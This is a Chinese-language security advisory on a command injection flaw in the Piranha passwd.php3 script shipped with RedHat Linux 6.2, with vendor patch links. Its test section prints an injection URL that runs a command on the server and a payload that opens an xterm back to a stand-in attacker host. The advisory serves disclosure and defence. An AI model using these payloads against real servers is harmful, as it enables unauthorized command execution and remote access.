发布日期：2000-04-24
更新日期：2000-04-24

受影响系统：

RedHat passwd.php3
    - RedHat Linux 6.2 alpha
    - RedHat Linux 6.2 x86
    - RedHat Linux 6.2 sparc

描述：

---

BUGTRAQ  ID: 1149
CVE ID: CVE-2000-0322,CVE-2000-0248

RedHat 6.2附带Piranha virtual server软件包中passwd.php3脚本存在一个安全漏洞。

passwd.php3脚本由于未对输入进行适当的检查，导致任何可以通过Piranha软件包鉴别机制的用户以当前WWW服务器对应之有效用户ID，执行任意命令。这将作为进一步损害系统安全
性的前奏攻击手段。


<*来源：Max Vision （vision@whitehats.com）
  
  链接：http://online.securityfocus.com/advisories/2177
        http://online.securityfocus.com/archive/1/56904
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Max Vision （vision@whitehats.com）提供了如下测试方法：

执行下列URL，需要提供一组用户名/口令进行鉴别：
http://victim.example.com/piranha/secure/passwd.php3

现在执行这样一个URL：
http://victim.example.com/piranha/secure/passwd.php3?try1=g23+%3B+touch+%2Ftmp%2Fr00ted+%3B&try2=g23+%3B+touch+%2Ftmp%2Fr00ted+%3B&passwd=ACCEPT

结果将在 /tmp 目录下产生一个名为 r00ted 的文件。
的确可能存在更复杂的攻击方式,例如提供给try1/try2下列内容：
g23 ;/usr/X11R6/bin/xterm -display attacker.example.com:0 -ut;
将在attacker.example.com上打开一个xterm窗口。

建议：

---

厂商补丁：

RedHat
------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：

RedHat Linux 6.2 sparc:
Red Hat Inc. RPM 6.2 sparc piranha-gui-0.4.13-1.sparc.rpm
ftp://updates.redhat.com/6.2/sparc/piranha-gui-0.4.13-1.sparc.rpm

RedHat Linux 6.2 i386:
Red Hat Inc. RPM 6.2 i386 piranha-gui-0.4.13-1.i386.rpm
ftp://updates.redhat.com/6.2/i386/piranha-gui-0.4.13-1.i386.rpm

RedHat Linux 6.2 alpha:
Red Hat Inc. RPM 6.2 alpha piranha-gui-0.4.13-1.alpha.rpm
ftp://updates.redhat.com/6.2/alpha/piranha-gui-0.4.13-1.alpha.rpm

浏览次数：6491
严重程度：0（网友投票）